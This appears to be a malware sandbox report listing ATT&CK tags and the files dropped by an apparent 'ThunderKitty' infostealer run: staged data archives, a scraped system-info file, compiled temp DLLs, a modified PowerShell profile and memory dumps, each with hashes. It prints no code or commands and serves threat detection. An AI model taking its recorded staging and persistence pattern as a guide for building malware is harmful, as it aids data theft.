Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d71c7d15748177ac7bda63669279b7bd

SHA1
927891cd898e24ccafa1c8dcb79853126953bd3e

SHA256
0f7d506057ea592aa234bc3e6982d2133e2dd3b67bf75678c8b4132f5b50972d

SHA512
fb410da790bdc39eb745c3fd35eb4c1ca2202ce88739ac80f3b061a650544991622512658e482eb124fa6c39ff99ccd95cad74e26dd7804c439dc7b9345ea2a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e1567fd9e93d88c7b1c1144280393e83

SHA1
8b7fb60ed13946307d12158c4f788867e8d2e721

SHA256
19ef62498e9c39d9f1beac01f128f4d297d078dbf0741775aafd1f68b9d76338

SHA512
bd4487c71381e1054d1fa6465b1414bde5dcff606239aeb07edf838543b0ead3831bb7de93fafa424d8202a080435db8ceeab52a1c9da9caea09a0c50c511dac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
579c6e465a86fb413710d47da4b10497

SHA1
a96f55236f30297eff9607d3e7bc9bd961c14c12

SHA256
03d3318153697f41a5756f7e9e3fe0769e3aa3ccf93c40bc2e795f7417f1cc20

SHA512
a29f19af9975be5423a32b06b5bea5908e072f5179389ede43354395490fabc486341b9e231615968bb20dc85c50cbf283705fedd6353a271572eb84258af69c

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA6B0.tmp

Filesize
1KB

MD5
0ae3bdb2a723f2280b7a6b13b136c0d1

SHA1
9d94b98afe1c154a466af1fb89d61d864bfc8f40

SHA256
b6563132624de097c82b4323f2f28c736637471ebcdaba263cccd737a014185a

SHA512
3e4aba605d2231a64c0a27c486f86a5a3ca04af301a95d409c14586ae108ba0b1cc7d61272b61b387ad4d2ab5e3408500606c68f04dc5299374da5d137b0bb9e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESAA88.tmp

Filesize
1KB

MD5
a06c51a0d0b843a7b12d643c37946cf9

SHA1
79774763569b8c44aa01599b98fcb54fef3dc9d2

SHA256
fd52410bd8f70c1e80d1af94d69298d595028d9442e81976e667f1bddf605360

SHA512
46847c4e70914b9f99e464448a15e29bb030e10c7eb6daa4ef58c528b4d1b5fa783c85d34fa8eb1bf8f47d0781fceff58e480f92544232a1c1ecb76aa8bb6a43

Download Submit
C:\Users\Admin\AppData\Local\Temp\ThunderKitty.zip

Filesize
97KB

MD5
03e74958498ed04e79b4f4172146b82f

SHA1
255d3d9095f9c91679b923e3d64cbf8209bb9276

SHA256
4a7b8c95889c773937f849588d3eb2ed99039e69ced856f275aba6de182bb284

SHA512
104e7c019d1bc4e54975caae682c203eb1ca488af592f98e81dc113d99f149bd5dad5b6661f4e40f14569754e0346b98d40141e1a95d04c06d3020d53ed83169

Download Submit
C:\Users\Admin\AppData\Local\Temp\ThunderKitty\SystemInfo\ThunderKitty-ScrapedCMDS.txt

Filesize
24KB

MD5
d2628951354c15f2bc815dd1d17fb387

SHA1
5e1e13dd07d37fbdafd7691951ae21e0013479a6

SHA256
2a4df1377961cfa2bceb7d3469e3841546d326f92e7abae517d587e29b29273e

SHA512
33240ecf7b17bb9da62ffeb779df1c9cf7617e5cca4a4ed5804562b1a0a7e791c281ca0bc99de8d6863e6629324759cb0ce480b42ff5098bc1f87ab3929353b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dkfzexko.yvz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ilzkk5hh\ilzkk5hh.dll

Filesize
4KB

MD5
6232ec1edb85a6c82df6d6e13c16296a

SHA1
2886dfed085f10fae5ac515956bca89e790d484a

SHA256
06ab79bde31a6ccaab59096b439405d3524d3f284501cfd919209f2ee732aafe

SHA512
9f8919395cc542bee113e068b62dc971cd78985ab3da64f7393b0935c7e81cbe8b7634f24428bd788dfa82e82adb72871219403bdd4198286c629da63389593a

Download Submit
C:\Users\Admin\AppData\Local\Temp\qzg1enrz\qzg1enrz.dll

Filesize
4KB

MD5
02578006aea569023f2cd82efc882cc7

SHA1
ce5c941430d2c4ea7bf1a3cc7ca93fafa03d73f6

SHA256
47fcc6790f76ad3621c9296d79e6fb966ff20464151de3037288e00b94d48251

SHA512
3388f3813feae030d2fb6c153ba688656fc4d294924e1b7d890fe441dee53e0b9e8692855687b6f046b2c4740ffdcc54a71921a0b5399bb79b7d3c9cedac0eee

Download Submit
C:\Users\Admin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

Filesize
2KB

MD5
9758656bbe8589c66bb241b052490c72

SHA1
b73da83fb3ae6b86c6365769a04de9845d5c602c

SHA256
e4bfe191530cc53138c4a265755539f8a115f7828faba79dfac91f3184b26351

SHA512
da9a8ecba8c2071e467f2d72fac524843fb0011c8486dd95e8b948b1c7f91bf02bcb80c20a01eddb6971b96db5ebde5f7c4c607e6b6d15e75d971ea104436e34

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ilzkk5hh\CSCE541AD0D8C44DF9B2C53A342D8CDDA1.TMP

Filesize
652B

MD5
2f6cbd7fa973dc6f7c11ab22b50f6443

SHA1
bdf0b62252399ab7afdf927725bc08bf0cd76769

SHA256
9d891d6a8f4352743d569ef466b703ed545b20f08380456a8ab00a3115f6d889

SHA512
1e07e2c6fd601a3ca9a757e2b893bf66c0f7dd526e27629d69bb630ecbdd9583cebf85bf60450a6efab41dfd0f372030e2005f7f596086b1042f9651a6c7756d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ilzkk5hh\ilzkk5hh.cmdline

Filesize
369B

MD5
cfd452d38eb3e4e01af1d4d848c81294

SHA1
6ac5ea48eca452f31b079b7a5e6bbcd0122da35f

SHA256
a02400a4ecc408deba347c34db874cbe2303b153b31407c957cd7dfb694885e4

SHA512
d889030722fc957a4b5a8a83c47c87e4b5f657a8400b089e8a62065850d673025bdc9a2b04bd869f44fdb4e881122d78bd4551dbfd1ba9515aee098001500e29

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qzg1enrz\CSC621F90E12C744A88AECAADD4B4518DEC.TMP

Filesize
652B

MD5
913e872b8dd76a4e0deedac74d59044f

SHA1
b26d829e9355e344b0c48794fa440cd37ff75aa6

SHA256
023cbc2f7020443cd3100561f59bf317b620fc54b96c07ff7ec82fe47a776395

SHA512
b8230189c1074fb193270084af5f825092f670589c0c35be74381f686f3da0ebf7218fe3881f1adadfbb0c5755132f9bd03cae82e6f5e178aff0f275d8983672

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qzg1enrz\qzg1enrz.0.cs

Filesize
1KB

MD5
8a1e7edb2117ec5dde9a07016905923b

SHA1
0155dbeeb16333e2eaa767b0209750efee56f47f

SHA256
c379ac84c970f2055851b084c44575a5e4b5a70dc25f0acdd49aad306489b007

SHA512
4ff0601803a006c661c962fe158cd5e9f40031d6b4fd7c5a05969a52d812e1fcb0aab20916fcad6c61c6d44cc7cfdf1e4f344f22ced937a0cd757ad841d3ab21

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qzg1enrz\qzg1enrz.cmdline

Filesize
369B

MD5
1315f22786c4937f1fe8b3fe2c99a036

SHA1
aa850d861166f960fd4a014590db3731e69f6e1d

SHA256
ed0a6f86afd70689ac868368445883ab595a4cdadd92c41d9c55ed01fcb3148d

SHA512
040e41d293e50fd28d486c48d191e7eef80b6b6d3567846d3043bdfccafbbb1e07db92dd5c3703cf24cd41a4db2df236b6ea98df3c81e04dc8e69110b3517abf

Download Submit
memory/1440-86-0x00007FFCC79E0000-0x00007FFCC84A1000-memory.dmp

Filesize
10.8MB

Download
memory/1440-47-0x00007FFCC79E0000-0x00007FFCC84A1000-memory.dmp

Filesize
10.8MB

Download
memory/1440-43-0x00007FFCC79E0000-0x00007FFCC84A1000-memory.dmp

Filesize
10.8MB

Download
memory/1440-32-0x00007FFCC79E0000-0x00007FFCC84A1000-memory.dmp

Filesize
10.8MB

Download
memory/2196-45-0x00007FFCC79E0000-0x00007FFCC84A1000-memory.dmp

Filesize
10.8MB

Download
memory/2196-99-0x0000021FA81C0000-0x0000021FA81E4000-memory.dmp

Filesize
144KB

Download
memory/2196-87-0x0000021FA84F0000-0x0000021FA8C96000-memory.dmp

Filesize
7.6MB

Download
memory/2196-141-0x00007FFCC79E0000-0x00007FFCC84A1000-memory.dmp

Filesize
10.8MB

Download
memory/2196-46-0x00007FFCC79E0000-0x00007FFCC84A1000-memory.dmp

Filesize
10.8MB

Download
memory/2196-132-0x0000021FA7F50000-0x0000021FA7F5A000-memory.dmp

Filesize
40KB

Download
memory/2196-131-0x0000021FA7F60000-0x0000021FA7F72000-memory.dmp

Filesize
72KB

Download
memory/2196-81-0x0000021FA7B80000-0x0000021FA7B88000-memory.dmp

Filesize
32KB

Download
memory/2196-98-0x0000021FA81C0000-0x0000021FA81EA000-memory.dmp

Filesize
168KB

Download
memory/2196-44-0x00007FFCC79E0000-0x00007FFCC84A1000-memory.dmp

Filesize
10.8MB

Download
memory/4540-21-0x00007FFCC79E0000-0x00007FFCC84A1000-memory.dmp

Filesize
10.8MB

Download
memory/4540-0-0x00007FFCC79E3000-0x00007FFCC79E5000-memory.dmp

Filesize
8KB

Download
memory/4540-93-0x00007FFCC79E0000-0x00007FFCC84A1000-memory.dmp

Filesize
10.8MB

Download
memory/4540-8-0x0000012609680000-0x00000126096A2000-memory.dmp

Filesize
136KB

Download
memory/4540-69-0x0000012609660000-0x0000012609668000-memory.dmp

Filesize
32KB

Download
memory/4540-1-0x00007FFCC79E0000-0x00007FFCC84A1000-memory.dmp

Filesize
10.8MB

Download